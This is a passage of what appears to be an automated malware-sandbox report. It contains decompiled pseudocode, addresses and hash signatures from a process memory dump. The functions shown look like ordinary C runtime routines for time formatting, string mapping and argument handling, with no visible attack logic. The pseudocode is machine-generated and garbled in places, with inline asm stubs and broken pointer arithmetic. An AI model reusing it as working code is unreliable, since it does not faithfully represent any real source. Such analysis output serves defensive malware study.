					if(_t163 == 0) {
						__eflags = 0;
						_t129 = E004B7938(0, _t183, 0,  *((intOrPtr*)(_t143 + 0x160)), 0,  &_v24, _t179, 0, 0, 0);
					} else {
						_t129 = E004B7A7A(0, _t183, _t194,  *((intOrPtr*)(_t143 + 0x160)), 0,  &_v24, _t179, 0, 0);
					}
					_t147 = _t129;
					if(_t147 == 0) {
						goto L113;
					} else {
						_t175 = _t147 + _t147;
						_t165 = _t175 + 8;
						asm("sbb eax, eax");
						if((_t175 + 0x00000008 & _t129) == 0) {
							_t184 = 0;
							__eflags = 0;
							L18:
							_v28 = _t184;
							if(_t184 == 0) {
								L30:
								E0048B33A(0);
								_t183 = _v32;
								while(1) {
									L113:
									_t172 =  *_t179 & 0x0000ffff;
									__eflags = _t172;
									if(_t172 == 0) {
										break;
									}
									__eflags =  *_t183;
									if( *_t183 == 0) {
										L28:
										L29:
										return E0049CE1D(_v8 ^ _t187);
									}
									_v32 = 0;
									_t152 = 0;
									__eflags = 0;
									_v28 = _t179;
									_t144 = _t179;
									_t94 = _t172 & 0x0000ffff;
									do {
										_t144 =  &(_t144[1]);
										_t152 = _t152 + 1;
										__eflags =  *_t144 - _t94;
									} while ( *_t144 == _t94);
									_t95 = _t172 & 0x0000ffff;
									_v28 = _t144;
									_t145 = _v44;
									__eflags = _t95 - 0x64;
									if(__eflags > 0) {
										_t96 = _t95 - 0x68;
										__eflags = _t96;
										if(_t96 == 0) {
											_t153 = _t152 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												_v32 = 1;
												L110:
												_push(0x49);
												L111:
												_pop(_t97);
												_t98 = E004AEC8C(_t145, _t153, _t179, _v52, _t97, _v48, _v40, _t183, _t145, _v32);
												_t188 = _t188 + 0x1c;
												__eflags = _t98;
												if(_t98 == 0) {
													 *((intOrPtr*)(E004A966E())) = 0x16;
													goto L29;
												}
												L112:
												_t179 = _v28;
												continue;
											}
											_t153 = _t153 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												goto L110;
											}
											L108:
											_t154 = _v40;
											_t179 =  &(_t179[1]);
											 *( *_t154) = _t172;
											 *_t154 =  &(( *_t154)[1]);
											 *_t183 =  *_t183 - 1;
											continue;
										}
										_t102 = _t96 - 5;
										__eflags = _t102;
										if(_t102 == 0) {
											_t153 = _t152 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												_v32 = 1;
												L105:
												_push(0x4d);
												goto L111;
											}
											_t153 = _t153 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												goto L105;
											}
											goto L108;
										}
										_t103 = _t102 - 6;
										__eflags = _t103;
										if(_t103 == 0) {
											_t153 = _t152 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												_v32 = 1;
												L100:
												_push(0x53);
												goto L111;
											}
											_t153 = _t153 - 1;
											__eflags = _t153;
											if(_t153 == 0) {
												goto L100;
											}
											goto L108;
										}
										_t104 = _t103 - 1;
										__eflags = _t104;
										if(_t104 == 0) {
											_t105 = _v48;
											__eflags =  *((intOrPtr*)(_t105 + 8)) - 0xb;
											if( *((intOrPtr*)(_t105 + 8)) > 0xb) {
												_t173 =  *(_t145 + 0x150);
											} else {
												_t173 =  *(_t145 + 0x14c);
											}
											__eflags = _t152 - 1;
											if(_t152 != 1) {
												L91:
												_t155 =  *_t173 & 0x0000ffff;
												__eflags = _t155;
												if(_t155 == 0) {
													goto L112;
												}
												_t146 = _v40;
												while(1) {
													__eflags =  *_t183;
													if( *_t183 <= 0) {
														goto L112;
													}
													_t173 =  &(_t173[1]);
													 *( *_t146) = _t155;
													 *_t146 =  &(( *_t146)[0]);
													 *_t183 =  *_t183 - 1;
													_t155 =  *_t173 & 0x0000ffff;
													__eflags = _t155;
													if(_t155 != 0) {
														continue;
													}
													goto L112;
												}
											} else {
												__eflags =  *_t183;
												if( *_t183 <= 0) {
													goto L91;
												}
												_t180 = _v40;
												 *((short*)( *_t180)) =  *_t173;
												 *_t180 =  *_t180 + 2;
												 *_t183 =  *_t183 - 1;
											}
											goto L112;
										}
										__eflags = _t104 != 5;
										if(_t104 != 5) {
											goto L108;
										}
										_t153 = _t152;
										__eflags = _t153;
										if(_t153 == 0) {
											_push(0x79);
											goto L111;
										}
										_t153 = _t153;
										__eflags = _t153;
										if(_t153 != 0) {
											goto L108;
										}
										_push(0x59);
										goto L111;
									}
									if(__eflags == 0) {
										_t153 = _t152 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											_v32 = 1;
											L75:
											_push(0x64);
											goto L111;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L75;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											_push(0x61);
											goto L111;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 != 0) {
											goto L108;
										}
										_push(0x41);
										goto L111;
									}
									__eflags = _t95 - 0x27;
									if(_t95 == 0x27) {
										_t110 = _t152 & 0x80000001;
										__eflags = _t110;
										if(__eflags < 0) {
											__eflags = (_t110 - 0x00000001 | 0xfffffffe) + 1;
										}
										_t179 =  &(_t179[_t152]);
										if(__eflags == 0) {
											_t159 =  *_t179 & 0x0000ffff;
											__eflags = _t159;
											if(_t159 == 0) {
												goto L28;
											}
											_t174 = _v40;
											while(1) {
												__eflags =  *_t183;
												if( *_t183 == 0) {
													goto L113;
												}
												_t111 = 0x27;
												_t179 =  &(_t179[1]);
												__eflags = _t159 - _t111;
												if(_t159 == _t111) {
													goto L113;
												}
												 *( *_t174) = _t159;
												 *_t174 =  &(( *_t174)[0]);
												 *_t183 =  *_t183 - 1;
												_t159 =  *_t179 & 0x0000ffff;
												__eflags = _t159;
												if(_t159 != 0) {
													continue;
												}
												goto L113;
											}
										}
										continue;
									}
									__eflags = _t95 - 0x41;
									if(_t95 == 0x41) {
										L41:
										_t116 = E004BB613(_t145, _t179, _t183, _t179, L"am/pm");
										__eflags = _t116;
										if(_t116 != 0) {
											_t117 = E004BB613(_t145, _t179, _t183, _t179, L"a/p");
											_pop(_t153);
											__eflags = _t117;
											if(_t117 == 0) {
												_v28 =  &(_t179[3]);
											}
										} else {
											_t153 =  &(_t179[5]);
											_v28 =  &(_t179[5]);
										}
										_push(0x70);
										goto L111;
									}
									__eflags = _t95 - 0x48;
									if(_t95 == 0x48) {
										_t153 = _t152 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											_v32 = 1;
											L55:
											_push(0x48);
											goto L111;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L55;
										}
										goto L108;
									}
									__eflags = _t95 - 0x4d;
									if(_t95 == 0x4d) {
										_t153 = _t152 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											_v32 = 1;
											L50:
											_push(0x6d);
											goto L111;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											goto L50;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 == 0) {
											_push(0x62);
											goto L111;
										}
										_t153 = _t153 - 1;
										__eflags = _t153;
										if(_t153 != 0) {
											goto L108;
										}
										_push(0x42);
										goto L111;
									}
									__eflags = _t95 - 0x61;
									if(_t95 != 0x61) {
										goto L108;
									}
									goto L41;
								}
								goto L28;
							}
							_t203 = _v33;
							if(_v33 == 0) {
								_t133 = E004B7938(_t165, _t184, __eflags,  *((intOrPtr*)(_v44 + 0x160)), 0,  &_v24, _t179, _t184, _t147, 0);
							} else {
								_t133 = E004B7A7A(_t165, _t184, _t203,  *((intOrPtr*)(_v44 + 0x160)), 0,  &_v24, _t179, _t184, _t147);
							}
							_t181 = _t184;
							_t177 = _t133 - 1;
							if(_t177 <= 0) {
								L27:
								E0048B33A(_t184);
								goto L28;
							} else {
								_t148 = _v32;
								_t185 = _v40;
								while( *_t148 > 0) {
									_t135 =  *_t181;
									_t181 = _t181 + 2;
									 *( *_t185) = _t135;
									 *_t185 =  &(( *_t185)[0]);
									 *_t148 =  *_t148 - 1;
									_t177 = _t177 - 1;
									if(_t177 > 0) {
										continue;
									}
									break;
								}
								_t184 = _v28;
								goto L27;
							}
						}
						asm("sbb eax, eax");
						_t137 = _t129 & _t175 + 0x00000008;
						_t165 = _t175 + 8;
						if((_t129 & _t175 + 0x00000008) > 0x400) {
							__eflags = _t175 - _t165;
							asm("sbb eax, eax");
							_t186 = E004B3009(_t165, _t137 & _t165);
							_v28 = _t186;
							_pop(_t165);
							__eflags = _t186;
							if(__eflags == 0) {
								goto L30;
							}
							 *_t186 = 0xdddd;
							L14:
							_t184 = _t186 + 8;
							goto L18;
						}
						asm("sbb eax, eax");
						E0049DB40();
						_t186 = _t188;
						_v28 = _t186;
						if(_t186 == 0) {
							goto L30;
						}
						 *_t186 = 0xcccc;
						goto L14;
					}
				}
			}

0x004af8c2
0x004af8ca
0x004af8d1
0x004af8d7
0x004af8da
0x004af8e1
0x004af8e4
0x004af8ea
0x004af8ed
0x004af8f1
0x004af8f4
0x004af8f8
0x004af8fb
0x004af912
0x004af8fd
0x004af900
0x004af90a
0x004af902
0x004af902
0x004af902
0x004af900
0x004af91f
0x00000000
0x004af925
0x004af92e
0x004af935
0x004af93f
0x004af942
0x004af94a
0x004af952
0x004af95a
0x004af961
0x004af967
0x004af96e
0x004af970
0x004af986
0x004af994
0x004af972
0x004af97f
0x004af97f
0x004af999
0x004af99d
0x00000000
0x004af9a3
0x004af9a3
0x004af9a6
0x004af9ab
0x004af9af
0x004afa09
0x004afa09
0x004afa0b
0x004afa0b
0x004afa10
0x004afa90
0x004afa92
0x004afa97
0x004afd0e
0x004afd0e
0x004afd0e
0x004afd11
0x004afd14
0x00000000
0x00000000
0x004afaa0
0x004afaa3
0x004afa7a
0x004afa7c
0x004afa8f
0x004afa8f
0x004afaa5
0x004afaa9
0x004afaa9
0x004afaab
0x004afaae
0x004afab0
0x004afab3
0x004afab3
0x004afab6
0x004afab7
0x004afab7
0x004afabc
0x004afabf
0x004afac2
0x004afac5
0x004afac8
0x004afbfd
0x004afbfd
0x004afc00
0x004afccd
0x004afccd
0x004afcd0
0x004afce9
0x004afced
0x004afced
0x004afcef
0x004afcef
0x004afcff
0x004afd04
0x004afd07
0x004afd09
0x004afd24
0x00000000
0x004afd2a
0x004afd0b
0x004afd0b
0x00000000
0x004afd0b
0x004afcd2
0x004afcd2
0x004afcd5
0x00000000
0x00000000
0x004afcd7
0x004afcd7
0x004afcda
0x004afcdf
0x004afce2
0x004afce5
0x00000000
0x004afce5
0x004afc06
0x004afc06
0x004afc09
0x004afcb9
0x004afcb9
0x004afcbc
0x004afcc5
0x004afcc9
0x004afcc9
0x00000000
0x004afcc9
0x004afcbe
0x004afcbe
0x004afcc1
0x00000000
0x00000000
0x00000000
0x004afcc3
0x004afc0f
0x004afc0f
0x004afc12
0x004afca5
0x004afca5
0x004afca8
0x004afcb1
0x004afcb5
0x004afcb5
0x00000000
0x004afcb5
0x004afcaa
0x004afcaa
0x004afcad
0x00000000
0x00000000
0x00000000
0x004afcaf
0x004afc18
0x004afc18
0x004afc1b
0x004afc44
0x004afc47
0x004afc4b
0x004afc55
0x004afc4d
0x004afc4d
0x004afc4d
0x004afc5b
0x004afc5e
0x004afc7a
0x004afc7a
0x004afc7d
0x004afc80
0x00000000
0x00000000
0x004afc86
0x004afc89
0x004afc89
0x004afc8c
0x00000000
0x00000000
0x004afc90
0x004afc93
0x004afc96
0x004afc99
0x004afc9b
0x004afc9e
0x004afca1
0x00000000
0x00000000
0x00000000
0x004afca3
0x004afc60
0x004afc60
0x004afc63
0x00000000
0x00000000
0x004afc65
0x004afc6d
0x004afc70
0x004afc73
0x004afc73
0x00000000
0x004afc5e
0x004afc1d
0x004afc20
0x00000000
0x00000000
0x004afc27
0x004afc27
0x004afc2a
0x004afc3d
0x00000000
0x004afc3d
0x004afc2d
0x004afc2d
0x004afc30
0x00000000
0x00000000
0x004afc36
0x00000000
0x004afc36
0x004aface
0x004afbcc
0x004afbcc
0x004afbcf
0x004afbf2
0x004afbf6
0x004afbf6
0x00000000
0x004afbf6
0x004afbd1
0x004afbd1
0x004afbd4
0x00000000
0x00000000
0x004afbd6
0x004afbd6
0x004afbd9
0x004afbeb
0x00000000
0x004afbeb
0x004afbdb
0x004afbdb
0x004afbde
0x00000000
0x00000000
0x004afbe4
0x00000000
0x004afbe4
0x004afad4
0x004afad7
0x004afb79
0x004afb79
0x004afb7e
0x004afb84
0x004afb84
0x004afb85
0x004afb88
0x004afb8e
0x004afb91
0x004afb94
0x00000000
0x00000000
0x004afb9a
0x004afb9d
0x004afb9d
0x004afba0
0x00000000
0x00000000
0x004afba8
0x004afba9
0x004afbac
0x004afbaf
0x00000000
0x00000000
0x004afbb7
0x004afbba
0x004afbbd
0x004afbbf
0x004afbc2
0x004afbc5
0x00000000
0x00000000
0x00000000
0x004afbc7
0x004afb9d
0x00000000
0x004afb88
0x004afadd
0x004afae0
0x004afaf5
0x004afafb
0x004afb02
0x004afb04
0x004afb5f
0x004afb65
0x004afb66
0x004afb68
0x004afb6d
0x004afb6d
0x004afb06
0x004afb06
0x004afb09
0x004afb09
0x004afb70
0x00000000
0x004afb70
0x004afae2
0x004afae5
0x004afb3f
0x004afb3f
0x004afb42
0x004afb4e
0x004afb52
0x004afb52
0x00000000
0x004afb52
0x004afb44
0x004afb44
0x004afb47
0x00000000
0x00000000
0x00000000
0x004afb49
0x004afae7
0x004afaea
0x004afb0e
0x004afb0e
0x004afb11
0x004afb34
0x004afb38
0x004afb38
0x00000000
0x004afb38
0x004afb13
0x004afb13
0x004afb16
0x00000000
0x00000000
0x004afb18
0x004afb18
0x004afb1b
0x004afb2d
0x00000000
0x004afb2d
0x004afb1d
0x004afb1d
0x004afb20
0x00000000
0x00000000
0x004afb26
0x00000000
0x004afb26
0x004afaec
0x004afaef
0x00000000
0x00000000
0x00000000
0x004afaef
0x00000000
0x004afd1a
0x004afa12
0x004afa19
0x004afa42
0x004afa1b
0x004afa2a
0x004afa2a
0x004afa49
0x004afa4b
0x004afa4e
0x004afa73
0x004afa74
0x00000000
0x004afa50
0x004afa50
0x004afa53
0x004afa56
0x004afa5d
0x004afa60
0x004afa63
0x004afa66
0x004afa69
0x004afa6b
0x004afa6e
0x00000000
0x00000000
0x00000000
0x004afa6e
0x004afa70
0x00000000
0x004afa70
0x004afa4e
0x004af9b6
0x004af9b8
0x004af9ba
0x004af9c2
0x004af9e7
0x004af9e9
0x004af9f3
0x004af9f5
0x004af9f8
0x004af9f9
0x004af9fb
0x00000000
0x00000000
0x004afa01
0x004af9e2
0x004af9e2
0x00000000
0x004af9e2
0x004af9c6
0x004af9ca
0x004af9cf
0x004af9d1
0x004af9d6
0x00000000
0x00000000
0x004af9dc
0x00000000
0x004af9dc
0x004af99d

APIs

__freea.LIBCMT ref: 004AFA74
__freea.LIBCMT ref: 004AFA92

Strings

a/p, xrefs: 004AFB59
am/pm, xrefs: 004AFAF5

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __freea
String ID: a/p$am/pm
API String ID: 240046367-3206640213
Opcode ID: 59b3214faaa3cc1f7dd8fbd9dbd85ead1f8ebc674c30a1678cc591c8eaf514c5
Instruction ID: 5e534ac625380a43bb3b9b5929ca01ae05bd3c6fad4ece2b406d07bca39fef9b
Opcode Fuzzy Hash: 59b3214faaa3cc1f7dd8fbd9dbd85ead1f8ebc674c30a1678cc591c8eaf514c5
Instruction Fuzzy Hash: B9D1037190020A9ADB258FA9C8557FBB7B0FF26310F24413BE9069B354D33D9D49CBA9

Uniqueness

Uniqueness Score: -1.00%

Function 004B9733, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 216
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E004B9733(void* __ebx, void* __ecx, void* __edi, void* __esi, intOrPtr* _a4, intOrPtr _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				void* _v24;
				signed int _t49;
				signed int _t54;
				void* _t58;
				signed int _t60;
				signed int _t62;
				signed int _t66;
				signed int _t70;
				signed int _t71;
				intOrPtr _t78;
				signed int _t81;
				signed int _t87;
				signed int _t90;
				void* _t95;
				void* _t96;
				intOrPtr _t98;
				signed int _t101;
				intOrPtr _t103;
				signed int _t106;
				signed int _t107;
				void* _t110;

				_push(__ecx);
				_push(__ecx);
				_t49 =  *0x4eb018; // 0x6027d6a0
				_v8 = _t49 ^ _t106;
				_push(__esi);
				_t103 = _a20;
				if(_t103 > 0) {
					_t78 = E004AEB21(_a16, _t103);
					_t110 = _t78 - _t103;
					_t4 = _t78 + 1; // 0x1
					_t103 = _t4;
					if(_t110 >= 0) {
						_t103 = _t78;
					}
				}
				_t98 = _a32;
				if(_t98 == 0) {
					_t98 =  *((intOrPtr*)( *_a4 + 8));
					_a32 = _t98;
				}
				_t54 =  *0x4f0014(_t98, 1 + (0 | _a36 != 0x00000000) * 8, _a16, _t103, 0, 0);
				_v12 = _t54;
				if(_t54 == 0) {
					L38:
					return E0049CE1D(_v8 ^ _t106);
				} else {
					_t95 = _t54 + _t54;
					_t85 = _t95 + 8;
					asm("sbb eax, eax");
					if((_t95 + 0x00000008 & _t54) == 0) {
						_t81 = 0;
						__eflags = 0;
						L14:
						if(_t81 == 0) {
							L36:
							_t105 = 0;
							L37:
							E0048B33A(_t81);
							goto L38;
						}
						_t58 =  *0x4f0014(_t98, 1, _a16, _t103, _t81, _v12);
						_t121 = _t58;
						if(_t58 == 0) {
							goto L36;
						}
						_t100 = _v12;
						_t60 = E004B7C80(_t85, _t103, _t121, _a8, _a12, _t81, _v12, 0, 0, 0, 0, 0);
						_t105 = _t60;
						if(_t105 == 0) {
							goto L36;
						}
						if((_a12 & 0x00000400) == 0) {
							_t96 = _t105 + _t105;
							_t87 = _t96 + 8;
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							__eflags = _t87 & _t60;
							if((_t87 & _t60) == 0) {
								_t101 = 0;
								__eflags = 0;
								L30:
								__eflags = _t101;
								if(__eflags == 0) {
									L35:
									E0048B33A(_t101);
									goto L36;
								}
								_t62 = E004B7C80(_t87, _t105, __eflags, _a8, _a12, _t81, _v12, _t101, _t105, 0, 0, 0);
								__eflags = _t62;
								if(_t62 == 0) {
									goto L35;
								}
								_push(0);
								_push(0);
								__eflags = _a28;
								if(_a28 != 0) {
									_push(_a28);
									_push(_a24);
								} else {
									_push(0);
									_push(0);
								}
								_t105 =  *0x4f003c(_a32, 0, _t101, _t105);
								__eflags = _t105;
								if(_t105 != 0) {
									E0048B33A(_t101);
									goto L37;
								} else {
									goto L35;
								}
							}
							_t90 = _t96 + 8;
							__eflags = _t96 - _t90;
							asm("sbb eax, eax");
							_t66 = _t60 & _t90;
							_t87 = _t96 + 8;
							__eflags = _t66 - 0x400;
							if(_t66 > 0x400) {
								__eflags = _t96 - _t87;
								asm("sbb eax, eax");
								_t101 = E004B3009(_t87, _t66 & _t87);
								_pop(_t87);
								__eflags = _t101;
								if(_t101 == 0) {
									goto L35;
								}
								 *_t101 = 0xdddd;
								L28:
								_t101 = _t101 + 8;
								goto L30;
							}
							__eflags = _t96 - _t87;
							asm("sbb eax, eax");
							E0049DB40();
							_t101 = _t107;
							__eflags = _t101;
							if(_t101 == 0) {
								goto L35;
							}
							 *_t101 = 0xcccc;
							goto L28;
						}
						_t70 = _a28;
						if(_t70 == 0) {
							goto L37;
						}
						_t125 = _t105 - _t70;
						if(_t105 > _t70) {
							goto L36;
						}
						_t71 = E004B7C80(0, _t105, _t125, _a8, _a12, _t81, _t100, _a24, _t70, 0, 0, 0);
						_t105 = _t71;
						if(_t71 != 0) {
							goto L37;
						}
						goto L36;
					}
					asm("sbb eax, eax");
					_t72 = _t54 & _t95 + 0x00000008;
					_t85 = _t95 + 8;
					if((_t54 & _t95 + 0x00000008) > 0x400) {
						__eflags = _t95 - _t85;
						asm("sbb eax, eax");
						_t81 = E004B3009(_t85, _t72 & _t85);
						_pop(_t85);
						__eflags = _t81;
						if(__eflags == 0) {
							goto L36;
						}
						 *_t81 = 0xdddd;
						L12:
						_t81 = _t81 + 8;
						goto L14;
					}
					asm("sbb eax, eax");
					E0049DB40();
					_t81 = _t107;
					if(_t81 == 0) {
						goto L36;
					}
					 *_t81 = 0xcccc;
					goto L12;
				}
			}

0x004b9738
0x004b9739
0x004b973a
0x004b9741
0x004b9745
0x004b9746
0x004b974c
0x004b9752
0x004b9758
0x004b975b
0x004b975b
0x004b975e
0x004b9760
0x004b9760
0x004b975e
0x004b9762
0x004b9767
0x004b976e
0x004b9771
0x004b9771
0x004b978d
0x004b9793
0x004b9798
0x004b992b
0x004b993e
0x004b979e
0x004b979e
0x004b97a1
0x004b97a6
0x004b97aa
0x004b97fe
0x004b97fe
0x004b9800
0x004b9802
0x004b9920
0x004b9920
0x004b9922
0x004b9923
0x00000000
0x004b9929
0x004b9813
0x004b9819
0x004b981b
0x00000000
0x00000000
0x004b9821
0x004b9833
0x004b9838
0x004b983c
0x00000000
0x00000000
0x004b9849
0x004b9883
0x004b9886
0x004b9889
0x004b988b
0x004b988d
0x004b988f
0x004b98db
0x004b98db
0x004b98dd
0x004b98dd
0x004b98df
0x004b9919
0x004b991a
0x00000000
0x004b991f
0x004b98f3
0x004b98f8
0x004b98fa
0x00000000
0x00000000
0x004b98fe
0x004b98ff
0x004b9900
0x004b9903
0x004b993f
0x004b9942
0x004b9905
0x004b9905
0x004b9906
0x004b9906
0x004b9913
0x004b9915
0x004b9917
0x004b9948
0x00000000
0x00000000
0x00000000
0x00000000
0x004b9917
0x004b9891
0x004b9894
0x004b9896
0x004b9898
0x004b989a
0x004b989d
0x004b98a2
0x004b98bd
0x004b98bf
0x004b98c9
0x004b98cb
0x004b98cc
0x004b98ce
0x00000000
0x00000000
0x004b98d0
0x004b98d6
0x004b98d6
0x00000000
0x004b98d6
0x004b98a4
0x004b98a6
0x004b98aa
0x004b98af
0x004b98b1
0x004b98b3
0x00000000
0x00000000
0x004b98b5
0x00000000
0x004b98b5
0x004b984b
0x004b9850
0x00000000
0x00000000
0x004b9856
0x004b9858
0x00000000
0x00000000
0x004b986f
0x004b9874
0x004b9878
0x00000000
0x00000000
0x00000000
0x004b987e
0x004b97b1
0x004b97b3
0x004b97b5
0x004b97bd
0x004b97dc
0x004b97de
0x004b97e8
0x004b97ea
0x004b97eb
0x004b97ed
0x00000000
0x00000000
0x004b97f3
0x004b97f9
0x004b97f9
0x00000000
0x004b97f9
0x004b97c1
0x004b97c5
0x004b97ca
0x004b97ce
0x00000000
0x00000000
0x004b97d4
0x00000000
0x004b97d4

APIs

__freea.LIBCMT ref: 004B991A

Part of subcall function 004B3009: RtlAllocateHeap.NTDLL(00000000,?,00000000,?,004BAEA8,00000000,?,004AB16D,?,00000008,?,004AD0C1,?,?,00000000), ref: 004B303B

__freea.LIBCMT ref: 004B9923
__freea.LIBCMT ref: 004B9948

Strings

wMJ, xrefs: 004B9745

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: __freea$AllocateHeap
String ID: wMJ
API String ID: 2243444508-2099330561
Opcode ID: 6e91ce55d7b9ea4eba759cebaed16736688696507083eee6967a0cfd84de6117
Instruction ID: bd1046c0ed2026923ab6bb54f5f6b1936ba10a7c64732bc017e602d8fd777aa8
Opcode Fuzzy Hash: 6e91ce55d7b9ea4eba759cebaed16736688696507083eee6967a0cfd84de6117
Instruction Fuzzy Hash: 815102B2610206AAEF299E61DC41EFF77A9EF40754F14462EFE04D6240EB38DC50C6B8

Uniqueness

Uniqueness Score: -1.00%

Function 004BB7A0, Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 168
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E004BB7A0(void* __ebx, void* __edi, void* __esi, signed int _a4, signed int _a8, intOrPtr _a12) {
				intOrPtr _v0;
				char _v6;
				char _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				intOrPtr* _v64;
				intOrPtr _v96;
				intOrPtr* _v100;
				intOrPtr _v104;
				signed int _v116;
				char _v290;
				signed int _v291;
				char _v292;
				char _v336;
				signed int _v340;
				signed int _v344;
				signed int _v348;
				intOrPtr _v440;
				intOrPtr* _t80;
				signed int _t82;
				signed int _t87;
				signed int _t91;
				signed int _t93;
				signed int _t95;
				signed int _t96;
				signed int _t100;
				signed int _t103;
				signed int _t108;
				signed int _t111;
				intOrPtr _t113;
				signed char _t115;
				signed int _t123;
				signed int _t128;
				signed int _t131;
				void* _t137;
				void* _t139;
				signed int _t140;
				signed int _t143;
				signed int _t145;
				signed int _t147;
				signed int* _t148;
				signed int _t151;
				void* _t154;
				intOrPtr _t155;
				char _t158;
				char _t160;
				intOrPtr* _t163;
				void* _t164;
				intOrPtr* _t165;
				signed int _t167;
				void* _t169;
				intOrPtr* _t170;
				signed int _t174;
				signed int _t178;
				signed int _t179;
				intOrPtr* _t184;
				void* _t193;
				intOrPtr _t194;
				signed int _t196;
				signed int _t197;
				signed int _t199;
				signed int _t200;
				signed int _t202;
				signed int _t203;
				signed int _t208;
				signed int _t210;
				signed int _t211;
				void* _t213;
				intOrPtr _t214;
				void* _t215;
				signed int _t219;
				void* _t221;
				signed int _t222;
				void* _t223;
				void* _t224;
				void* _t225;
				signed int _t226;
				void* _t227;
				void* _t228;

				_t80 = _a8;
				_t224 = _t223 - 0x20;
				if(_t80 != 0) {
					_t208 = _a4;
					_t160 = 0;
					 *_t80 = 0;
					_t199 = 0;
					_t151 = 0;
					_v36 = 0;
					_v32 = 0;
					_v28 = 0;
					__eflags =  *_t208;
					if( *_t208 == 0) {
						L9:
						_v12 = _v12 & 0x00000000;
						_t82 = _t151 - _t199;
						_v8 = _t160;
						_t191 = (_t82 >> 2) + 1;
						__eflags = _t151 - _t199;
						_v16 = (_t82 >> 2) + 1;
						asm("sbb esi, esi");
						_t210 =  !_t208 & _t82 + 0x00000003 >> 0x00000002;
						__eflags = _t210;
						if(_t210 != 0) {
							_t197 = _t199;
							_t158 = _t160;
							do {
								_t184 =  *_t197;
								_t17 = _t184 + 1; // 0x1
								_v8 = _t17;
								do {
									_t143 =  *_t184;
									_t184 = _t184 + 1;
									__eflags = _t143;
								} while (_t143 != 0);
								_t158 = _t158 + 1 + _t184 - _v8;
								_t197 = _t197 + 4;
								_t145 = _v12 + 1;
								_v12 = _t145;
								__eflags = _t145 - _t210;
							} while (_t145 != _t210);
							_t191 = _v16;
							_v8 = _t158;
							_t151 = _v32;
						}
						_t211 = E004B0FF4(_t191, _v8, 1);
						_t225 = _t224 + 0xc;
						__eflags = _t211;
						if(_t211 != 0) {
							_t87 = _t211 + _v16 * 4;
							_v20 = _t87;
							_t192 = _t87;
							_v16 = _t87;
							__eflags = _t199 - _t151;
							if(_t199 == _t151) {
								L23:
								_t200 = 0;
								__eflags = 0;
								 *_a8 = _t211;
								goto L24;
							} else {
								_t93 = _t211 - _t199;
								__eflags = _t93;
								_v24 = _t93;
								do {
									_t163 =  *_t199;
									_v12 = _t163 + 1;
									do {
										_t95 =  *_t163;
										_t163 = _t163 + 1;
										__eflags = _t95;
									} while (_t95 != 0);
									_t164 = _t163 - _v12;
									_t35 = _t164 + 1; // 0x1
									_t96 = _t35;
									_push(_t96);
									_v12 = _t96;
									_t100 = E004C18F1(_t164, _t192, _v20 - _t192 + _v8,  *_t199);
									_t225 = _t225 + 0x10;
									__eflags = _t100;
									if(_t100 != 0) {
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										_push(0);
										E004A5EA4(0);
										asm("int3");
										_t221 = _t225;
										_push(_t164);
										_t165 = _v64;
										_t47 = _t165 + 1; // 0x1
										_t193 = _t47;
										do {
											_t103 =  *_t165;
											_t165 = _t165 + 1;
											__eflags = _t103;
										} while (_t103 != 0);
										_push(_t199);
										_t202 = _a8;
										_t167 = _t165 - _t193 + 1;
										_v12 = _t167;
										__eflags = _t167 - (_t103 | 0xffffffff) - _t202;
										if(_t167 <= (_t103 | 0xffffffff) - _t202) {
											_push(_t151);
											_t50 = _t202 + 1; // 0x1
											_t154 = _t50 + _t167;
											_t213 = E004B2F72(_t167, _t154, 1);
											_t169 = _t211;
											__eflags = _t202;
											if(_t202 == 0) {
												L34:
												_push(_v12);
												_t154 = _t154 - _t202;
												_t108 = E004C18F1(_t169, _t213 + _t202, _t154, _v0);
												_t226 = _t225 + 0x10;
												__eflags = _t108;
												if(__eflags != 0) {
													goto L37;
												} else {
													_t137 = E004BBB6F(_a12, __eflags, _t213);
													E004B2FCF(0);
													_t139 = _t137;
													goto L36;
												}
											} else {
												_push(_t202);
												_t140 = E004C18F1(_t169, _t213, _t154, _a4);
												_t226 = _t225 + 0x10;
												__eflags = _t140;
												if(_t140 != 0) {
													L37:
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													_push(0);
													E004A5EA4(0);
													asm("int3");
													_push(_t221);
													_t222 = _t226;
													_t227 = _t226 - 0x150;
													_t111 =  *0x4eb018; // 0x6027d6a0
													_v116 = _t111 ^ _t222;
													_t170 = _v100;
													_push(_t154);
													_t155 = _v104;
													_push(_t213);
													_t214 = _v96;
													_push(_t202);
													_v440 = _t214;
													while(1) {
														__eflags = _t170 - _t155;
														if(_t170 == _t155) {
															break;
														}
														_t113 =  *_t170;
														__eflags = _t113 - 0x2f;
														if(_t113 != 0x2f) {
															__eflags = _t113 - 0x5c;
															if(_t113 != 0x5c) {
																__eflags = _t113 - 0x3a;
																if(_t113 != 0x3a) {
